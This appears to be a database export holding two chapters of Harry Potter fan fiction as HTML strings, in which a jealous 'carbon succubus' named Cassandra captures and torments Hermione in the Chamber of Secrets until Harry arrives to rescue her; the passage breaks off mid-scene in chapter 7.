	(128, 6, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\nChapter\n6: In the Chamber of Secrets\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Dumbledore and\nLupin were in the headmaster&#8217;s office when the fireplace burst into\nflames.&nbsp; With a swish, Sirius tumbled\nout of the fireplace in a heap.&nbsp; &#8220;Damn\nFloo Powder!&#8221; he muttered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well Sirius,&#8221;\nsaid Dumbledore.&nbsp; &#8220;Did you find Marilyn Frost?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Sirius immediately\nsobered up and looked very grave.&nbsp; &#8220;Yes,\nI found her,&#8221; he said, &#8220;in the hospital.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What?&#8221; asked\nLupin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;She was in a\ncoma,&#8221; said Sirius.&nbsp; &#8220;The doctors think\nit was an incubus attack.&#8221;&nbsp; Dumbledore\nand Lupin shared alarmed glances while Sirius continued, &#8220;But get this.&nbsp; It seems as if Mrs. Frost was about to\ndissolve the contract before she was attacked.&nbsp;\nIt appears that Cassandra wasn&#8217;t too happy about what her mother was\nplanning on doing.&nbsp; Seems like she had\nher heart set since childhood on marrying the most famous wizard in the world.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Lupin glanced\ntoward Dumbledore and said, &#8220;Marilyn Frost was attacked by an incubus when she\ndecided to dissolve the betrothal.&nbsp; And\nwe have succubae attacks here.&nbsp; Do you\nthink it&#8217;s a coincidence Albus?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I admit that\nthere are too many similarities to ignore,&#8221; said Dumbledore looking grave.&nbsp; Sirius looked confused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Um, did I miss\nsomething while I was gone?&nbsp; What&#8217;s this\nI here about succubae attacks?&#8221;&nbsp; At that\nmoment, Hedwig flew through the window and deposited a piece of parchment on\nDumbledore&#8217;s lap.&nbsp; The headmaster read\nit and immediately looked alarmed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Albus, what is\nit?&#8221; asked Remus.&nbsp; Dumbledore passed the\nparchment to Lupin.&nbsp; He read it while\nSirius read it over his shoulder.&nbsp; &#8220;Oh\nmy God!&#8221; they both muttered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione woke up\nto find herself tied up and dangling from a piece of rope.&nbsp; Her hands were tied behind her back and her\nankles were tied together.&nbsp; She was also\ngagged.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Getting more and\nmore frightened by the second, Hermione glanced around her surroundings.&nbsp; She was at the end of a long, dark chamber\nthat was held up by thick pillars that had snakes carved into them.&nbsp; She was also aware of a large statue behind\nher.&nbsp; She even saw the skeleton of the\nbasilisk that had petrified her in her second year in a far corner.&nbsp; She immediately recognized where she was\nfrom the description Harry had given her: the Chamber of Secrets.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Wakey wakey,\nmudblood,&#8221; hissed a voice from Hermione&#8217;s right.&nbsp; Hermione looked over to see Cassandra Frost walking toward her\nwith a smirk on her face.&nbsp; &#8220;Oh you\nalready are awake.&#8221;&nbsp; She suddenly\nslapped Hermione as hard as she could.&nbsp;\nHermione whimpered in pain and fought back tears.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Did you like that\nmudblood?&#8221; she hissed.&nbsp; &#8220;That&#8217;s only the\nbeginning.&nbsp; At the end, I&#8217;ll give you a\nkiss that will be nothing like my beloved&#8217;s kiss.&nbsp; There are many advantages of being a carbon succubus.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione tried to\nyell, &#8220;You monster!&#8221; through her gag.&nbsp;\nCassandra laughed and slapped her again.&nbsp; Hermione defiantly glared at the smirking Cassandra.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Perhaps you&#8217;re\nwondering why I&#8217;m not disposing you right away,&#8221; said Cassandra.&nbsp; &#8220;The others simply hurt my beloved.&nbsp; You however have done worse.&#8221;&nbsp; She started beating Hermione.&nbsp; Not being able to defend herself, Hermione\nstarted whimpering in pain.&nbsp; Tears were\nnow flowing freely.&nbsp; &#8220;Do you want to\nknow why?&#8221; asked Cassandra.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione simply\nremained quiet.&nbsp; &#8216;Oh God, please.&nbsp; Help me!&nbsp;\nHarry, where are you?&nbsp; Please\nhelp me!&#8217; she thought.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;You forced him to\nlove you, didn&#8217;t you?&nbsp; Used some spell\non him!&nbsp; Typical of a mudblood,&#8221; sneered\nCassandra.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione tried to\nshout, &#8220;That&#8217;s not true!&#8221; through her gag.&nbsp;\nShe shook her head as hard as she could.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;You deny it?&#8221;\nhissed Cassandra.&nbsp; &#8220;Of all the nerve!&#8221;&nbsp; She angrily backhanded Hermione in the face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8216;Harry,&#8217; thought\nHermione as the pain ran through her body.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Look at me,&#8221; said\nCassandra.&nbsp; When Hermione kept her eyes\non the floor, Cassandra shouted, &#8220;Look at me!&#8221;&nbsp;\nSlowly, Hermione raised her eyes to Cassandra&#8217;s face.&nbsp; Cassandra took so much pleasure in seeing\nthe terror and despair in Hermione&#8217;s cinnamon brown eyes.&nbsp; &#8220;Look at me, I&#8217;m a stunner,&#8221; said Cassandra\nspreading her arms wide.&nbsp; &#8220;My body can\nonly be described as goddess.&nbsp; Yours is\nnothing. &nbsp;My hair is so perfect.&nbsp; Yours looks like a sage bush.&nbsp; I am tall and sophisticated.&nbsp; You&#8217;re a skinny little runt.&nbsp; I have many talents and assets while you are\nnothing more than a bookworm.&nbsp; And most\nespecially, I am a pureblood while you&#8217;re a worthless mudblood.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">By the time\nCassandra had finished, Hermione was outright sobbing.&nbsp; All of these comments hurt her personally\nsince they were all insecurities she often had to deal with herself.&nbsp; The comments hurt her harder than all the\nphysical pain Cassandra had dished out but what Cassandra said last of all hurt\nher the most.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;How can Harry\never love a worthless mudblood like you?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">That was the\ngreatest insecurity Hermione had always felt.&nbsp;\nAnd with all the reasons Cassandra had hit her with, the emotional\nturmoil she felt was sheer torture.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;You tried to\nsteal my beloved, mudblood.&nbsp; That is the\nworse possible crime,&#8221; hissed Cassandra.&nbsp;\n&#8220;That&#8217;s why I&#8217;m doing more than just kiss you.&nbsp; You merit a worse fate, mudblood.&#8221;&nbsp; She started stroking Hermione&#8217;s hair.&nbsp; &#8220;Am I correct?&#8221; she asked.&nbsp;\nWhen Hermione kept her eyes on the floor, Cassandra tugged her\nhair.&nbsp; &#8220;AM I CORRECT?!&#8221; she yelled.&nbsp; Hermione whimpered in pain.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Cassandra decided\nto continue.&nbsp; &#8220;Since your crime is the\nworse, your treatment shall be the worse.&#8221;&nbsp;\nShe started pacing back and forth in front of Hermione.&nbsp; &#8220;Before I kiss you I&#8217;m going to hurt you in\nways you can&#8217;t possibly imagine.&nbsp; Then,\nonce I do kiss you I&#8217;m just going to leave you here in this chamber.&#8221;&nbsp; She spread her arms out toward the chamber.&nbsp; &#8220;That&#8217;s why I brought you down here.&nbsp; Once I kiss you, no one will ever find you\ndown here.&nbsp; You&#8217;ll be lost from the\nworld.&#8221;&nbsp; She started laughing\nhysterically.&nbsp; Hermione lowered her head\nand let more tears fall to the ground.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Cassandra walked up\nto Hermione, a malevolent glint in her blue eyes.&nbsp; &#8220;Let&#8217;s move another step upward now,&#8221; she whispered.&nbsp; She slowly pulled a wand out of her robes\nand pointed it Hermione.&nbsp; Hermione\nstared at the wand in fear as Cassandra whispered, <i>&#8220;Crucio.&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry ran as fast\nas he could to Moaning Myrtle&#8217;s bathroom.&nbsp;\nAt this point, he didn&#8217;t care if he ran into any professor who could\nhinder his path.&nbsp; If anybody had, he\nprobably would&#8217;ve placed a full body bind on him or her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">All this time,\nonly one thought constantly crossed Harry&#8217;s mind, &#8216;Get to Hermione&#8217;.&nbsp; He had finally realized whom he truly loved\nafter so many years.&nbsp; And he wasn&#8217;t\nabout to lose the girl he loved to the girl who called him her beloved.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">As Harry ran down\nthe halls, he finally fulfilled many a students&#8217; ambition as he kicked Mrs.\nNorris out of the way.&nbsp; He didn&#8217;t have\ntime to gloat about it, however.&nbsp; In\nfact, he didn&#8217;t realize he had kicked the bony cat.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Finally, Harry\nmade it to the out of order girl&#8217;s bathroom that was haunted by Moaning Myrtle\nthe ghost.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh it&#8217;s you,&#8221;\nsaid Myrtle as she glanced at Harry.&nbsp;\n&#8220;When was the last time you came to visit me?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry ignored her\nand dashed to one of the sinks.&nbsp; The\nonly thought on his mind was &#8216;Hermione&#8217;s down there.&nbsp; Need to get to her.&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh fine, ignore\nme!&#8221; wailed Myrtle.&nbsp; &#8220;Nobody cares about\nMyrtle because she&#8217;s dead!&nbsp; Everybody\nignored me when I was alive except Olive Hornby who insulted my glasses!&nbsp; And everybody still ignores me when I&#8217;m\ndead.&#8221;&nbsp; Myrtle started wailing and crying,\ncausing the bathroom to start flooding.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry continued to\nignore Myrtle when he finally found what he was looking for: a drawing of a\nsnake on one of the sinks.&nbsp; Harry hissed\n&#8220;Open up,&#8221; in parseltongue.&nbsp; Instantly, the\nsink sunk into the ground to reveal the large pipe that was the entrance to the\nChamber of Seconds.&nbsp; Without a second\nthought, Harry dived into the pipe.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Dumbledore, Sirius\nand Lupin burst into the bathroom just as the entrance was closing.&nbsp; &#8220;Damn!&nbsp;\nWe weren&#8217;t fast enough!&#8221; shouted Sirius.&nbsp; He started cursing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;We cannot do\nanything now,&#8221; said Dumbledore.&nbsp; &#8220;All we\ncan do is wait and trust Harry&#8217;s courage.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Albus, is Harry\nstrong enough to take on a carbon succubus?&#8221; asked Lupin.&nbsp; Both he and Sirius looked worried.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Dumbledore simply\nstared at the sinks.&nbsp; &#8220;I hope so,&#8221; he\nsaid.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N OK, lets just\nsay that Cassandra found out the password of Gryffindor tower from some\nhormonic Gryffindor teen.&nbsp; It doesn&#8217;t really\nmatter in the long run how she entered the Common Room.&nbsp; Oh, and I made up the entire notion of\ncarbon succubae: I own them.&nbsp; So R/R\nplease.&nbsp; Anyway, next chapter is the\nlast one.&nbsp; Hope you guys all enjoyed\nthis story.&nbsp; Thank you for reading this\nstory.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(128, 7, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\nChapter\n7: End of the Horror\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione screamed\nagainst her gag as the Cruciatus curse ripped through her body!&nbsp; It was pain like she had never felt before,\nlike a thousand knives were stabbing her and her insides were being torn out.&nbsp; For what seemed like an eternity, the curse\ntore through Hermione.&nbsp; Finally,\nCassandra lifted the curse.&nbsp; Hermione\nslumped in her bonds, barely able to look up.&nbsp;\nShe was now sobbing like she had never before and was whimpering from\nthe after effects of the Cruciatus Curse.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;People always try\nto separate me from my betrothed,&#8221; said Cassandra.&nbsp; She started pacing again.&nbsp;\n&#8220;Even my mother tried to end the contract, saying some nonsense like\nmade a mistake or something.&nbsp; So I\nkissed her.&nbsp; No one gets in the way of\nHarry and myself.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Cassandra stalked\nup to Hermione took her chin in a death grip.&nbsp;\nShe forced Hermione&#8217;s face up and glared into her crushed face.&nbsp; To anyone else, the crushed vulnerability on\nHermione&#8217;s face would have been a heart breaking sight.&nbsp; At this point, that only thought that\ncrossed Hermione&#8217;s mind was, &#8216;Harry&#8230;Harry&#8230;Harry&#8230;&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Cassandra removed\nthe gag.&nbsp; &#8220;I think you are about ready\nto be kissed,&#8221; she said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;No&#8230;please&#8230;please&#8230;no\nplease&#8230;no&#8230;&#8221; begged Hermione.&nbsp; Cassandra\ngrinned at the devastation she had caused her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Goodbye\nmudblood.&nbsp; Just remember that Harry is\nmine,&#8221; said Cassandra as she leaned forward.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry&#8230;&#8221; whimpered\nHermione as Cassandra&#8217;s lips brushed hers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&#8220;Expecto\nPatronum!&#8221;</i>&nbsp; A silver stag charged at Cassandra, its\nantlers lowered in an attack position.&nbsp;\nWith her succubae nature, Cassandra was unable to resist the powerful\npositive nature of the patronus.&nbsp; She\nscreeched and scurried away from Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry Potter\napproached them, his wand drawn and his green eyes burning with rage.&nbsp; Hermione looked up at him and whispered,\n&#8220;Harry.&#8221;&nbsp; A ghost of a smile graced her\nface and her tears of despair were replaced with tears of relief.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Cassandra walked\nup to Harry, a sweet smile on her lips.&nbsp;\n&#8220;Why Harry.&nbsp; I&#8217;m so glad you\ncould make it.&nbsp; I was just about to\nfinish off the mudblood who enchanted you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry looked about\nready to kill Cassandra.&nbsp; &#8220;Get out of\nthe way, succubus!&#8221; he said.&nbsp; He was\nbeyond anger and a dangerous calm had come over him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Cassandra looked\nconfused.&nbsp; &#8220;But beloved, do you not want\nto see the bane of our troubles finished?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry glared at\nCassandra.&nbsp; Slowly, he lifted his wand\nup and trained its tip on her.&nbsp;\nCassandra&#8217;s eyes widened in shock and horror.&nbsp; &#8220;You wouldn&#8217;t dare,&#8221; she said.&nbsp;\nHarry slowly started to gather energy on his wand.&nbsp; A faint light crackled with energy on the\ntip.&nbsp; &#8220;I&#8217;m your betrothed!&#8221; shouted\nCassandra.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">With a huge\nthunderclap, a lightning bolt burst out of Harry&#8217;s wand!&nbsp; Cassandra was blasted into the air and\nlanded some fifteen feet away from Harry.&nbsp;\nHarry walked up to her looking like the specter of death incarnated.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Cassandra 